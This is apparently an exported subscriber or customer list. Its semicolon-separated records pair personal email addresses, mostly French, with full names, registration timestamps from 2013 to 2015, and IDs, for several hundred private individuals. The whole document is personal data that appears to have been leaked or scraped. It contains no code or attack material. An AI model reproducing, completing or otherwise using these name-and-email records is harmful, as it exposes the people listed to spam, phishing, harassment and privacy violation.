+749;danieletixier@orange.fr;2013-12-17 16:59:55;TIXIER;DANIELLE;1 +3922;danielle.battaini@neuf.fr;2014-11-06 11:22:52;BATTAINI;Danielle;1 +873;danielle.juban@orange.fr;2014-01-05 23:22:47;JUBAN;DANIELLE;1 +3369;danielmarcq@live.fr;2014-09-19 20:37:34;MARCQ;DANIEL;1 +4044;danitajicaras@orange.fr;2014-11-16 08:52:51;Cardineau;Danielle;1 +3005;dany3814@dartybox.com;2014-08-04 17:27:38;OLIVRAIN;danielle;1 +3782;danysellons@live.fr;2014-10-29 17:18:57;Sellons;Daniele;1 +2689;darina_stantcheva@yahoo.com;2014-06-28 11:49:30;De Liefde;Darina;1 +1169;darkmoumouche@hotmail.fr;2014-02-13 03:32:48;gehin;fabienne;1 +4248;dauchet.bernard@wanadoo.fr;2014-12-01 10:32:23;muriel;dauchet;1 +1440;daufani@orange.fr;2014-03-25 08:20:45;dautel;estelle;1 +4404;dausse@antadis.com;2014-12-11 15:32:11;Dausse;valentin;1 +1485;david-boudet.monique@orange.fr;2014-03-29 13:23:46;david boudet;monique;2 +684;david.armenaud@gmail.com;2013-12-12 05:06:53;armenaud;david;1 +1028;david.lamberdiere@gmail.com;2014-01-27 21:19:51;lamberdiere;stephanie;1 +407;daya.36@live.fr;2013-11-03 23:02:14;jacques;stephanie;1 +1701;dazy-agnes@bbox.fr;2014-04-15 18:40:24;DAZY;AGNES;1 +664;db@assetavocats.com;2013-12-08 15:01:09;BENATTAR;Dominique;1 +3384;dchiapello@hotmail.fr;2014-09-20 19:22:45;CHIAPELLO;DENISE;1 +3962;deboeuf.patricia@orange.fr;2014-11-08 22:13:09;deboeuf;patricia;1 +2345;Debruge.monick@gmail.com;2014-05-28 18:29:24;Debruge;Monick;1 +3015;decinette@hotmail.fr;2014-08-05 16:22:33;vernile-chaboud;sylviane;1 +1435;degroote.alexandra@hotmail.com;2014-03-24 13:41:32;Dethee Degroote;Alexandra;1 +1743;deklerck.deborah@gmail.com;2014-04-18 13:26:50;De Klerck;Déborah;1 +1528;delaby.jerome@orange.fr;2014-04-02 10:09:43;delaby;jacqueline;1 +118;delahaye-rejane@bbox.fr;2013-09-12 18:52:05;DELAHAYE;Réjane;1 +1490;delattre.tatiana@orange.fr;2014-03-30 11:32:49;Delattre;Tatiana;1 +3408;Delbos.olae@wanadoo.fr;2014-09-23 22:46:41;Delbos;Laetitia;1 +3543;delphine.afchain@orange.fr;2014-10-08 10:43:50;babin;delphine;1 +1336;delphine.bassat@laposte.net;2014-03-11 18:11:35;BASSAT-LEPLEUX;Delphine;1 +31;delphine.malet@ac-amiens.fr;2013-08-13 16:32:38;MALET;Delphine;1 +4136;delphine.rey92@sfr.fr;2014-11-22 19:17:44;rey;delphine;1 +3952;delphine.rifosta@gmail.com;2014-11-08 08:59:31;Rifosta;Delphine;1 +1068;delphine.thierry@noos.fr;2014-01-31 20:33:45;Thierry;Delphine;1 +1482;delphinekieser@hotmail.com;2014-03-28 20:53:23;KIESER;DELPHINE;1 +2747;delphinelafaye@hotmail.fr;2014-07-04 17:00:21;lafaye;delphine;1 +952;delucaariane@gmail.com;2014-01-18 23:04:20;de LUCA;Ariane;1 +4637;dengyunhan1995@gmail.com;2015-01-03 17:13:42;DENG;YUNHAN;1 +38;denis.bregand963@orange.fr;2013-08-16 10:59:47;Bregand;sylvie;1 +1360;derer.edwige@orange.fr;2014-03-15 12:37:01;derer;edwige;1 +1865;deschenes.francois@wanadoo.fr;2014-04-27 11:18:58;deschenes;betty;1 +1125;desdealma@laposte.net;2014-02-05 16:45:24;Leclercq;Frédéricque;1 +4621;deshayescarole@orange.fr;2015-01-01 19:57:59;deshayes;carole;1 +1124;desmet.murielle@yahoo.fr;2014-02-05 14:30:27;DESMET;Murielle;1 +1789;desurmont.karine@wanadoo.fr;2014-04-22 13:58:12;PERRIN;KARINE;1 +5017;detreslo@hotmail.fr;2015-02-12 15:55:20;detres;laurence;1 +3686;dez_elodie@hotmail.fr;2014-10-21 21:40:34;DEZ;Elodie;1 +978;diana94400@hotmail.com;2014-01-22 13:34:07;TOUATI;DIANA;1 +883;did.caroline@orange.fr;2014-01-07 22:22:23;dideron;caroline;1 +770;didier-galy@orange.fr;2013-12-20 00:35:51;RIBEYROL;KATIA;1 +371;didier.bourgeois24@wanadoo.fr;2013-10-29 09:38:26;bourgeois;francoise;1 +4613;didier_guillet@orange.fr;2014-12-31 11:55:14;guillet;genevieve;1 +1758;didinelapin@hotmail.com;2014-04-20 11:10:27;COSTENOBLE;AMANDINE;1 +252;digital@garancia-beauty.com;2013-10-08 11:39:14;chadelas;agathe;1 +2287;digne.sylvie@orange.fr;2014-05-24 19:25:47;DIGNE;Sylvie;1 +420;dila02@HOTMAIL.COM;2013-11-06 13:48:13;FAREL;FADELA;1 +3312;Dilodie@aol.com;2014-09-13 11:46:49;Lepinay;Elodie;1 +403;dimacoju@wanadoo.fr;2013-11-02 17:54:30;BEGUE;CORALIE;1 +673;Dimitri.Harmegnies@gmail.com;2013-12-10 10:29:16;Harmegnies;Dimitri;1 +570;djamila.hemache@orange.fr;2013-11-26 17:16:17;HEMACHE;Djamila;1 +2782;djamila.maury@yahoo.fr;2014-07-08 10:15:16;MAURY;DJAMILA;1 +4645;dlemagn@yahoo.fr;2015-01-04 22:37:46;Lemagnan;Delphine;1 +4056;dmkolb@yahoo.fr;2014-11-16 16:21:45;kolb;didier;1 +1890;dmozer1010@aol.com;2014-04-28 16:19:37;MOZER;Chantal;1 +209;dodoche9903@hotmail.fr;2013-09-28 20:48:00;SADOUX;Frédérique;1 +2443;dollybiz@hotmail.fr;2014-06-04 19:45:42;CARLOTTI;CAROLINE;1 +4673;dolphin29beluga@gmail.com;2015-01-08 09:30:43;ducretet;patricia;1 +981;dom.hy@orange.fr;2014-01-22 17:04:38;hyvert;Dominique;1 +2062;dom.lax@sfr.fr;2014-05-06 19:30:41;LACROIX;Dominique;1 +543;domgp@orange.fr;2013-11-23 09:38:55;GUERIN POUPARD;DOMINIQUE;1 +4894;domi.mejean@gmail.com;2015-02-03 06:00:13;Mejean ;Agnès ;1 +1919;domi2809@free.fr;2014-04-30 18:10:27;jacques;dominique;1 +4765;domi6192@hotmail.com;2015-01-21 17:57:31;PINO HUDSON;DOMINIQUE;1 +4747;dominique.bugnon@fr.ch;2015-01-19 13:26:08;Bugnon;Dominique;1 +4003;dominique.coquoin@orange.fr;2014-11-13 09:10:49;COQUOIN;Dominique;1 +327;dominique.delabrosse@gmail.com;2013-10-21 19:03:33;de la Brosse;Dominique;1 +4144;dominique.gonseth@net2000.ch;2014-11-23 14:12:16;Gonseth;Dominique;1 +4487;dominique.poutay@gmail.com;2014-12-15 18:55:19;POUTAY;Dominique;1 +4515;dominique@chalets-lacroix.com;2014-12-17 18:29:48;LACROIX;Dominique;1 +4068;Dominiquejacoby@sfr.fr;2014-11-17 15:25:33;Jacoby;Geneviève;1 +2975;dominiqueverraes@yahoo.fr;2014-07-31 09:56:18;VERRAES;dominique;1 +3150;domino.orsini@gmail.com;2014-08-26 11:47:39;Orsini;Dominique;1 +382;domitille.autin@gmail.com;2013-10-30 10:18:16;Autin;Domitille;1 +1539;doreen_kanarek@hotmail.com;2014-04-03 13:07:13;Kanarek;Doreen;1 +225;doris_sch06@yahoo.fr;2013-10-03 10:35:11;Schmidlin;Doris;1 +22;doudouch60@hotmail.fr;2013-08-08 09:45:08;JOST;CLAUDINE;1 +4286;dra.ponce@gmail.com;2014-12-03 18:18:06;Nathan;Angélica;1 +398;Drupt@club-internet.fr;2013-11-01 22:07:08;Drupt;Élisabeth;1 +42;Duff.lo@hotmail.fr;2013-08-17 20:01:35;Bossoreil;Laura;1 +1344;dumontsandrine@ymail.com;2014-03-12 23:01:56;Dumont;Sandrine ;1 +4280;dupuyda@orange.fr;2014-12-03 13:56:42;DUPUY;FRANCOISE;1 +7;dureau@cegetel.net;2013-07-02 11:46:49;Dureau;Chloé;1 +2676;durel.jean-louis@neuf.fr;2014-06-27 09:25:04;DUREL ;ANNIE;1 +272;dusart.lise@orange.fr;2013-10-12 11:31:25;DUNEUFJARDIN;Lise;1 +1897;duvalvirginie3@gmail.com;2014-04-28 22:28:02;DUVAL;VIRGINIE;1 +3887;duvivier.josette@orange.fr;2014-11-03 23:46:31;DUVIVIER;Josette;1 +323;dydyx-mc@hotmail.fr;2013-10-21 00:48:39;gamblin;marlène;1 +3680;dynamicsabc@gmail.com;2014-10-21 12:40:19;Gouaux;Marie Pierre ;1 +3443;e.chartier7@laposte.net;2014-09-29 18:39:25;CHARTIER;ELISABETH;1 +1033;e.dubarry@wanadoo.fr;2014-01-28 11:16:39;Dubarry tougne;Emmanuelle;1 +214;e.frantz@yahoo.fr;2013-10-01 16:51:58;frantz;emilie;1 +2373;e.hisinger@skynet.be;2014-05-30 23:04:26;hisinger;eleonora;1 +2360;eapruitt@free.fr;2014-05-29 20:00:40;PRUITT-DRENSS;ANNE;1 +3623;edmonde.gc@orange.fr;2014-10-16 15:02:31;guichard;Edmonde;1 +1574;ednalevy21@hotmail.com;2014-04-06 21:37:11;Da Silva Semedo;Edna Graciette;1 +969;edwige.derer@sfr.fr;2014-01-21 15:42:27;derer;edwige;1 +2538;edwige.fournier70@orange.fr;2014-06-12 14:19:31;FOURNIER;Edwige;1 +976;edwige46000@hotmail.fr;2014-01-22 12:14:42;Blanqui;Edwige;1 +4825;edwigemayol@orange.fr;2015-01-26 16:10:35;Mayol;Edwige;1 +2982;eeyore1013@gmail.com;2014-08-02 01:01:41;Yang;Sunsiyuan;2 +4587;eikonounou@yahoo.fr;2014-12-27 15:04:01;URBANI-GRATTE;GENEVIEVE;1 +1357;eklaure@wanadoo.fr;2014-03-15 09:18:01;KLEITZ;Laurence;1 +912;electro_pub@hotmail.fr;2014-01-11 21:31:01;Plaëte;Céline;1 +1974;eleonore75@msn.com;2014-05-02 01:20:35;Vermeulen;Eleonore;1 +1601;eli.michel@hotmail.fr;2014-04-08 18:19:03;michel;eliane;1 +4324;eliane.benarrosh@club-internet.fr;2014-12-06 12:45:40;BENARROSH;ELIANE;1 +3011;elip27@hotmail.fr;2014-08-05 12:13:46;PIRE;Elisabeth;1 +2170;elisabeth-roche@hotmail.fr;2014-05-15 11:01:19;roche;elisabeth;1 +2684;elise.blaise@wanadoo.fr;2014-06-27 18:27:06;Czestochowski;Elise;1 +2093;elisedepardieu7@orange.fr;2014-05-09 16:45:51;Depardieu ;Elise;1 +1315;eliz59000@hotmail.com;2014-03-08 21:01:13;Elise;Fournier;1 +339;elodi2013@hotmail.fr;2013-10-23 12:33:42;palomba;elodie;1 +3556;elodie.bailleux@gmail.com;2014-10-09 20:04:00;Bailleux;Elodie;1 +4590;Elodie.Cadet@sfr.fr;2014-12-27 22:01:05;cadet ;elodie;1 +1464;elodie.destouesse@gmail.com;2014-03-27 09:24:39;Destouesse;Elodie;1 +4793;elodie.foray@gmail.com;2015-01-24 12:49:02;FORAY;Elodie;1 +3320;elodie.lauret@voila.fr;2014-09-14 11:52:25;LAURET;Elodie;1 +4450;elodie.tala@sfr.fr;2014-12-13 22:49:57;tala;elodie;1 +4627;elodiecorsica@free.fr;2015-01-02 14:36:28;clauss;elodie;1 +1020;elodieherdeiro@hotmail.com;2014-01-27 17:38:04;Herdeiro;Elodie;1 +757;elodienamorado@hotmail.com;2013-12-18 13:08:00;ENAMORADO;Elodie;1 +160;elodie_campos@hotmail.fr;2013-09-22 12:01:03;campos;elodie;1 +4467;elotier.berlin@gmail.com;2014-12-14 19:01:31;BONDIVENA;Elodie;1 +1358;eloudiie07@hotmail.fr;2014-03-15 11:31:10;MOULIN;Elodie;1 +1565;elow29@gmail.com;2014-04-06 11:26:43;WEIBEL;Elodie;1 +4676;els@bramo.be;2015-01-08 15:43:17;Van Mieghem;Els;2 +4981;Elsahoareau@outlook.fr;2015-02-09 22:46:37;Hoareau ;Elsa;1 +4260;elyse1915@hotmail.fr;2014-12-01 22:49:29;Bertuel ;Elyse;1 +3389;elyseni@sina.com;2014-09-21 14:10:35;NI;NI;1 +2065;emilie-belaich@live.fr;2014-05-07 10:55:10;BELAICH;EMILIE;1 +2635;emilie-sebire@orange.fr;2014-06-22 19:14:39;SEBIRE;EMILIE;1 +2312;emilie42_r@hotmail.com;2014-05-26 16:48:34;Rigal;Emilie;1 +3337;emiliecondamine@orange.fr;2014-09-16 21:33:46;Condamine-Blanchefleur;Emilie;1 +1145;emilieetlaura@aliceadsl.fr;2014-02-09 18:13:28;balzano;jacqueline;1 +3495;emilieschmerkin@orange.fr;2014-10-03 13:20:39;Schmerkin;Emilie;1 +1021;emilieyannick@hotmail.fr;2014-01-27 17:48:59;rochegude;emilie;1 +3742;emilie_cantarel@hotmail.fr;2014-10-27 11:25:41;Cantarel;Emilie;1 +915;emiloutre@yahoo.fr;2014-01-12 15:32:53;Simon;Emilie;1 +346;emily34570@hotmail.fr;2013-10-24 13:39:12;Ascencio;emily;1 +1562;emma.you78@hotmail.fr;2014-04-06 01:14:28;ESCURE YOU;Emmanuelle;1 +3245;emmaee@bbox.fr;2014-09-08 10:19:11;ELIAS;Emma;1 +3874;emmanuelle.casagrande@live.fr;2014-11-03 18:31:47;casagrande;emmanuelle;1 +112;emmanuellemarchal7@gmail.com;2013-09-11 21:29:12;MARCHAL;Emmanuelle;1 +3095;emmanuelleroyer@wanadoo.fr;2014-08-17 17:35:26;Royer;Emmanuelle;1 +3945;emmanuelleruvio@hotmail.fr;2014-11-07 14:26:09;ruvio;emmanuelle;1 +970;emploicv@laposte.net;2014-01-21 16:19:04;BARBA;NATHALIE;1 +3819;epeyressatre@hotmail.com;2014-11-01 15:44:04;Peyressatre;Elise;1 +4169;ercholat@hotmail.com;2014-11-25 15:09:20;Cholat;Eridania;1 +556;erica.chatillon@orange.fr;2013-11-24 20:31:23;chatillon;erica;1 +1133;esanbi@hotmail.fr;2014-02-07 20:25:05;BIERRY;Estelle;1 +1027;esieniski@wanadoo.fr;2014-01-27 20:03:32;sieniski;elisabeth;1 +2222;espenel.aline@gmail.com;2014-05-20 11:59:22;ESPENEL;Aline;1 +331;estelle.lixy@orange.fr;2013-10-22 10:55:19;Roger;Estelle;1 +3873;estelle.roche1@gmail.com;2014-11-03 18:23:02;ROCHE;Estelle;1 +2341;Estelle.rousseau@neuf.fr;2014-05-28 16:58:34;Rousseau;Estelle;1 +2581;ethannlozach@hotmail.fr;2014-06-17 07:05:16;Gense;Stephanie;1 +1884;Etienne.Berger@orange.fr;2014-04-28 11:57:47;BERGER;FRANCOISE;1 +1136;etienne.mary@gmail.com;2014-02-08 10:58:08;ETIENNE;Mary;1 +4491;etiennerobert@wanadoo.fr;2014-12-15 21:44:06;ROBERT;Marie-Line;1 +4708;etteirneh71@yahoo.com;2015-01-13 15:18:51;Falbriard;Henriette;1 +4209;eva.estelle@hotmail.fr;2014-11-28 16:07:55;CUNI;ESTELLE;1 +3038;eva.king@blueyonder.co.uk;2014-08-08 19:22:57;King;eva;2 +2325;eva.rondeau@yahoo.fr;2014-05-27 20:22:19;Rondeau;Eva;1 +196;evad-et-sens@hotmail.fr;2013-09-27 08:08:18;MATOSEVIC;NATHALIE;1 +909;evainjen@gmail.com;2014-01-11 19:37:46;evain;jennifer;1 +59;evajosephine@hotmail.com;2013-08-24 14:35:12;Bergman;Josephine;1 +2966;eva_cre@hotmail.com;2014-07-30 10:47:34;creoff;evelyne;1 +3587;eve.m.moi@orange.fr;2014-10-13 13:16:35;MIMAULT;Evelyne;1 +2903;evegior@msn.com;2014-07-23 14:12:46;giorello;evelyne;1 +2769;evelyne.habert@gmail.com;2014-07-06 21:01:25;HABERT;EVELYNE;1 +4965;evelyne.roux78@wanadoo.fr;2015-02-08 20:11:49;ROUX;Evelyne;1 +2339;evelyneduez@gmail.com;2014-05-28 16:16:08;Duez;Evelyne;1 +1971;everamponi@gmail.com;2014-05-01 22:29:38;Ramponi;Eve;1 +2697;evewallerich@yahoo.fr;2014-06-29 11:56:37;wallerich-Klein;evelyne;1 +4957;evidal192@gmail.com;2015-02-08 09:59:31;VIDAL;ELIANE;1 +4979;Evidal1940@gmail.com;2015-02-09 18:47:34;VIDAL;ELIANE;1 +1134;evjr2060@gmail.com;2014-02-08 10:04:26;Vives;Emmanuelle;1 +2179;f.j.v.granier@meshnet.fr;2014-05-16 09:57:58;granier;jocelyne;1 +2217;f.mazerand@wanadoo.fr;2014-05-19 18:32:51;MAZERAND;FLORENCE;1 +1451;f.sayd@orange.fr;2014-03-26 13:59:56;SAYD;Florence;1 +3196;Fab10000@orange.fr;2014-08-31 12:43:52;Manfait;Fabienne;1 +3694;fabi.desmaretz@gmail.com;2014-10-22 17:23:23;desmaretz;fabienne;1 +2322;fabien.briset@wanadoo.fr;2014-05-27 16:53:23;Briset;Sylvie;1 +4417;fabienne.larretche@hotmail.fr;2014-12-11 22:26:50;Larretche;Fabienne;1 +669;fabienne.saba@wanadoo.fr;2013-12-09 12:10:46;Saba;Fabienne;1 +1899;fabiennebourzeix@gmail.com;2014-04-29 11:23:50;bourzeix;Fabienne;1 +1492;fabiennem5@hotmail.com;2014-03-30 13:01:16;MATHIEU;FABIENNE;1 +4320;Fabmarieeva@hotmail.com;2014-12-06 10:14:11;Huveneers;Marie lise;1 +589;fabregaelle@gmail.com;2013-11-29 14:57:24;Fabre;Gaëlle;1 +3523;famille.bernard.villard@orange.fr;2014-12-14 18:27:12;bernard;Isabelle;1 +1953;famille.kruja@orange.fr;2014-05-01 13:35:13;KRUJA;CLOTILDE;1 +550;famillenoe@hotmail.com;2013-11-24 11:47:04;Noe;Veronique;1 +4271;famillysavol@hotmail.fr;2014-12-02 21:06:25;MECOCCI SAVOLDELLI;Karine;1 +3537;Familtil@aol.com;2014-10-07 14:13:19;Tillieux;Isabelle;1 +2814;Fanfan.poure@hotmail.fr;2014-07-10 15:37:12;Poure;Francoise;1 +1381;fanfanmars@gmail.com;2014-03-17 18:51:43;villeneuve;francoise;1 +4861;fanjupat@yahoo.fr;2015-01-30 17:17:47;CREUSY;FRANCOISE;1 +4845;fannie.regnier@gmail.com;2015-01-28 21:56:58;REGNIER;STEPHANIE;1 +1932;fanny.lr@hotmail.fr;2014-05-01 10:06:17;Le Roux;Fanny;1 +1906;fannycoiffu@yahoo.fr;2014-04-29 21:34:12;ferradou;stephanie;1 +1463;fannyfraixbavuz@aol.com;2014-03-26 21:35:14;Fraix-Bavuz;Fraix-Bavuz;1 +4097;fanoge@hotmail.fr;2014-11-19 10:00:34;david;fanny;1 +3836;faou82@live.fr;2014-11-02 18:14:26;GOURARI;Faouzia;1 +475;Farah.edderi@gmail.com;2013-11-12 19:20:24;Edderi;Farah;1 +2362;farah_77@msn.com;2014-05-29 21:05:57;Fourabaly;Farah;1 +2807;fata.chantal@orange.fr;2014-07-09 20:59:58;fata;chantal;1 +2175;fatima.gao@hotmail.fr;2014-05-15 19:19:17;gaonach;fatima;1 +135;fauvettevero@yahoo.fr;2014-01-10 19:57:12;baronti;veronique;1 +1446;fbbeuret@gmail.com;2014-03-25 17:35:06;BEURET;Francoise;1 +4787;fbfourage@hotmail.com;2015-01-24 02:04:25;Fourage;Brigitte;2 +2920;fbleubleu@gmail.com;2014-07-25 17:48:33;musset;fabienne;1 +2426;fbnsol@bluewin.ch;2014-06-03 17:27:14;BOURDIN-NICOLLET;Francoise;1 +947;fcancalon@orange.fr;2014-01-17 17:46:17;CANCALON-THOMAS;Françoise;1 +4912;fd788592@skynet.be;2015-02-04 18:47:57;lefevre ;maryse;1 +2193;febleo@orange.fr;2014-05-17 11:19:14;LEONARD;Brigitte;1 +4214;feelie.feerie@live.fr;2014-11-28 22:22:19;Marten-Jeanroy;Ophélie;1 +1251;felicieossi@yahoo.fr;2014-03-01 10:29:56;Ben loulou;Isabelle;1 +1755;fenamar@aol.com;2014-04-19 18:04:44;Tchakotine;Amanda;1 +1882;fenestrelay@orange.fr;2014-04-28 09:53:21;GAUTIER;CATHERINE;1 +1587;fernandes.joana@hotmail.fr;2014-04-08 00:12:26;Fernandes;Joana;1 +1855;ferrier.robert@hotmail.fr;2014-04-26 13:44:44;ferrier;martine;1 +704;fevriermi@free.fr;2013-12-13 17:41:29;FEVRIER;Michèle;1 +3741;fgalloux@gmail.com;2014-10-27 10:29:03;GALLOUX;FRANCOISE;1 +271;fischer.mth@orange.fr;2013-10-12 10:54:32;FISCHER;MARIE-THERESE;1 +5001;fjx.floriane@gmail.com;2015-02-11 00:55:35;fajoux;floriane;1 +4216;fklahanque@gmail.com;2014-11-29 09:19:11;LAHANQUE;FRANK;1 +899;fkubina@yahoo.com;2014-01-10 18:00:15;KUBINA;Francine;1 +3318;flavybijoux@gmail.com;2014-09-14 06:32:42;ATTARD-FOLLET;SYLVIE;1 +2844;flo.bigi@sfr.fr;2014-07-15 17:45:15;BIGILLON;Florence;1 +4369;flogantes@hotmail.fr;2014-12-09 12:21:37;gantes;florence;1 +4262;florence.carree@vinci-construction.fr;2014-12-02 09:34:56;carree;florence;1 +1888;florence.castel18@sfr.fr;2014-04-28 14:49:18;castel;florence;1 +902;florence.dittiere@wanadoo.fr;2014-03-05 14:31:43;GREGOIRE DITTIERE;FLORENCE;1 +467;florence.kuntzburger@wanadoo.fr;2013-11-11 15:07:10;kuntzburger;florence;1 +1152;florence.touvier@orange.fr;2014-02-10 11:39:12;Touvier;Florence;1 +4602;florence1504@hotmail.fr;2014-12-29 14:50:01;lasserre;florence;1 +4862;florencecorbel@orange.fr;2015-01-30 19:55:10;CORBEL;Florence;1 +1474;florencetegoni@hotmail.com;2014-03-28 17:31:35;TEGONI;Florence;1 +1050;florence_deguine@orange.fr;2014-01-30 04:39:02;deguine;florence;1 +2060;florimuche@hotmail.fr;2014-05-06 16:49:30;MONCHABLON;flora;1 +4217;florinchristine@gmail.com;2014-11-29 09:44:46;Florin;Christine;1 +224;florlage@free.fr;2013-10-03 09:40:46;lagrange;florence;1 +1241;fmiazza@bluewin.ch;2014-02-27 15:58:38;MIAZZA;Frédérique;1 +21;fonpaulet@free.fr;2013-08-07 19:43:29;fontaine;paulette;1 +3638;fonteyne.muriel@gmail.com;2014-10-17 16:35:31;Fonteyne;Muriel;1 +4541;foucaudf@sfr.fr;2014-12-20 11:58:55;berteau;amelie;1 +3358;fourquier.jerome@orange.fr;2014-09-18 17:04:14;fourquier;jennifer;1 +3482;fran.izabel@free.fr;2014-10-01 16:21:39;IZABEL;Françoise;1 +400;francia87@voila.fr;2013-11-02 10:07:09;dussoulier;mare france;1 +1544;francine.rousselle59@live.fr;2014-04-04 11:40:04;rousselle;francine;1 +433;francisca@correiafamily.net;2013-11-07 22:38:29;CORREIA;FRANCISCA;1 +3490;franck.guerveno@wanadoo.fr;2014-10-02 22:06:50;guerveno;edith;1 +813;francoise.boijoux@sfr.fr;2013-12-27 10:08:09;BOIJOUX;Françoise;1 +3244;francoise.chevreau463@orange.fr;2014-09-07 19:31:27;CHEVREAU;Françoise;1 +1122;francoise.delaveau@hotmail.fr;2014-02-05 13:29:54;DELAVEAU;francoise;1 +2902;francoise.wintzenrieth@gmail.com;2014-07-23 12:48:55;WINTZENRIETH;Françoise;1 +4572;francoisepetit9@gmail.com;2014-12-24 16:47:35;PETIT;Françoise;1 +3588;francoiseviple@sfr.fr;2014-10-13 15:14:43;VIPLE;FRANCOISE;1 +4857;francoise_bertin@orange.fr;2015-01-30 11:47:49;Bertin ;Françoise;1 +4092;francoise_debrum@bbox.fr;2014-11-18 20:01:23;DE BRUM;françoise;1 +2660;franie@dbmail.com;2014-06-25 10:43:07;DUFOUR;Françoise;1 +3777;frbenoitfr2@free.fr;2014-10-29 16:27:28;Benoit-Fresco;Francoise;1 +4272;fred.vast@gmail.com;2014-12-02 22:31:48;saris;Frédérique ;1 +3103;freddenis2@yahoo.fr;2014-08-18 18:22:11;Denis;Frederique;1 +1683;frederic.adancourt@sfr.fr;2014-04-14 19:20:47;adancourt;cindy;1 +180;frederiquechow@gmail.com;2013-09-25 18:29:46;Chow-chuen;Frédérique ;1 +1724;frederiqueclement@sfr.fr;2014-04-17 13:07:45;HERRATI;FREDERIQUE;1 +3684;ftayerjoffe@noos.fr;2014-10-21 19:50:57;Tayer joffe;Francoise;1 +278;g-alisson@hotmail.fr;2013-10-14 00:54:19;guarenti;alisson;1 +2171;g.delannoy@orange.fr;2014-05-15 11:41:40;DELANNOY;Sandra;1 +4699;g.marco@hotmail.fr;2015-01-12 15:29:47;GIGANTE;FRANCESCA;1 +4106;g.robin83@laposte.net;2014-11-19 17:18:45;robin;gisele;1 +3093;gabaro2@orange.fr;2014-08-17 16:23:12;CHEGARD;Elisabeth;1 +809;gaborit.cat@hotmail.f;2013-12-26 18:02:45;GABORIT;catherine;1 +1515;Gaelleetstef@hotmail.fr;2014-03-31 19:33:15;Barthomeuf;Gaelle;1 +1696;gaelleseignez@gmail.com;2014-04-15 14:58:39;Perrin;Gaëlle ;1 +187;ganesha62114@yahoo.fr;2013-09-25 23:29:36;Goudroye;Manuelle;1 +4519;gardies.patricia@orange.fr;2014-12-17 18:43:36;GARDIES;PATRICIA;1 +65;garell.jean-jacques@orange.fr;2013-08-26 17:24:30;garell;evelyne;1 +3403;gasselinclotilde@gmail.com;2014-09-23 12:51:15;gasselin;clotilde;1 +4174;gaszynski.angeliqu@gmail.com;2014-11-25 19:35:07;GASZYNSKI;Angélique;1 +3601;gautierfab@hotmail.com;2014-10-14 12:51:48;GAUTIER;Fabienne;1 +942;gautierisabelle@live.fr;2014-01-16 23:48:56;wairy;isabelle;1 +3687;gay.marie-ange@orange.fr;2014-10-21 22:04:40;gay;marie-ange;1 +4873;gbailly08@gmail.com;2015-01-31 22:00:20;BAILLY;Gaëlle;1 +2149;gclair@hotmail.fr;2014-05-14 08:45:48;GAILLARD;CLAIRE;1 +1817;gene.forster@orange.fr;2014-04-23 22:56:48;FORSTER;GENEVIEVE;1 +1625;genest.nadine@neuf.fr;2014-04-10 09:45:21;genest;nadine;1 +2645;genevieve57490@hotmail.fr;2014-06-23 17:14:25;jost;genevieve;1 +237;geraldine.davin@gmail.com;2013-10-06 12:54:59;Davin;Geraldine;1 +486;geraldine.derbez@orange.fr;2013-11-13 22:02:06;DERBEZ;Geraldine;2 +964;geraldine.douillet@gmail.com;2014-01-20 15:43:55;DOUILLET;Géraldine;1 +3136;gerard.greiner@orange.fr;2014-08-25 15:00:42;greiner;gerard;1 +3696;gerard.vidal904@orange.fr;2014-10-22 19:38:55;VIDAL;Gérard;1 +1603;ghaegeli@orange.fr;2014-04-08 21:07:03;HAEGELI;Géraldine;1 +90;ghisbelieres@orange.fr;2013-09-04 16:10:38;Belieres;Ghislaine;1 +2147;gibertaline@hotmail.fr;2014-05-14 04:42:37;GIBERT;aline;1 +2010;gigi.chanel@sfr.fr;2014-05-04 06:41:22;prinet;gigi;1 +3814;gigi.pellier@hotmail.fr;2014-11-01 09:28:40;PELLIER;GISELE;1 +1692;gilda.ramos@sfr.fr;2014-04-15 12:09:19;ramos;gilda;1 +357;ginette.schmitt.pfauwadel@hotmail.fr;2013-10-26 16:09:58;schmitt;ginette;1 +2600;ginetteguyonnet@orange.fr;2014-06-18 20:36:32;Guyonnet;Ginette;1 +4504;girodchantal@aol.com;2014-12-17 08:54:41;GIROD;chantal;1 +4317;gisele.delles@wanadoo.fr;2014-12-06 08:40:48;DELLES;GISELE;1 +2626;giuly.bedeschi@yahoo.it;2014-06-21 22:23:10;Gilda;Bedeschi;1 +3296;glantzmann.nathalie@orange.fr;2014-09-11 21:21:08;GLANTZMANN;Nathalie;1 +2922;gmontlahuc@noos.fr;2014-07-26 09:29:57;montlahuc;gaelle;1 +619;godart.sylvie62@orange.fr;2013-12-03 16:18:24;godart;sylvie;1 +1179;godier.linda@orange.fr;2014-02-14 23:01:28;GODIER;Linda;1 +5023;goldy3419@hotmail.com;2015-02-12 21:57:45;Lenfant ;Sylvya;1 +3247;gondard.agnes@gmail.com;2014-09-08 13:36:12;GONDARD;Agnes;1 +4593;gonnet.carole@gmail.com;2014-12-28 08:26:02;pouvillon;carole;1 +2480;goretetito@gmail.com;2014-06-08 12:07:04;Maria Gorete;Rodrigues Tito;1 +727;grandjeanmapi@yahoo.fr;2013-12-15 21:00:51;DELMAS;Marie-Pierre;1 +3252;gratau.alexandra@orange.fr;2014-09-08 22:05:29;Grateau;Alexandra;1 +615;grazia68@hotmail.com;2013-12-03 12:50:51;di criscenzo;grazia;1 +3793;gregflo.morand@gmail.com;2014-10-30 13:53:34;Morand;Florence;1 +4591;grifeni@rambler.ru;2014-12-28 07:40:59;Evgenia;Usharova;1 +1345;groguenin.anne@free.fr;2014-03-13 09:12:35;GROGUENIN;Anne;1 +797;Grumpy_tinkerbell@hotmail.com;2013-12-24 12:31:27;Verwaerde;Anne-Catherine;1 +4784;guanana@sina.com;2015-01-23 23:27:21;NA;GUAN;2 +1778;gudim.kristina@gmail.com;2014-04-21 16:53:13;Gudim Guillon;Kristina;1 +4859;guern.chantal@bbox.fr;2015-01-30 14:41:25;GUERN;Chantal;1 +2809;guerrin.florence@wanadoo.fr;2014-07-10 10:42:05;GUERRIN ;FLORENCE;1 +905;guillaume.mettivier@gmail.com;2014-01-11 11:50:06;Mettivier;Guillaulme;1 +2812;guisianolaetitia@hotmail.fr;2014-07-10 15:09:13;Guisiano;Laetitia;1 +3062;guitoubrethome@hotmail.fr;2014-08-12 23:08:32;Brethomé;Huguette;1 +1146;gus.sarah@wanadoo.fr;2014-02-09 18:38:12;gustin;sarah;1 +3498;gutierrezhelena@orange.fr;2014-10-03 21:37:49; Gutierrez;helena;1 +2884;guy.bringay@orange.fr;2014-07-21 09:52:15;Bringay;Renée;1 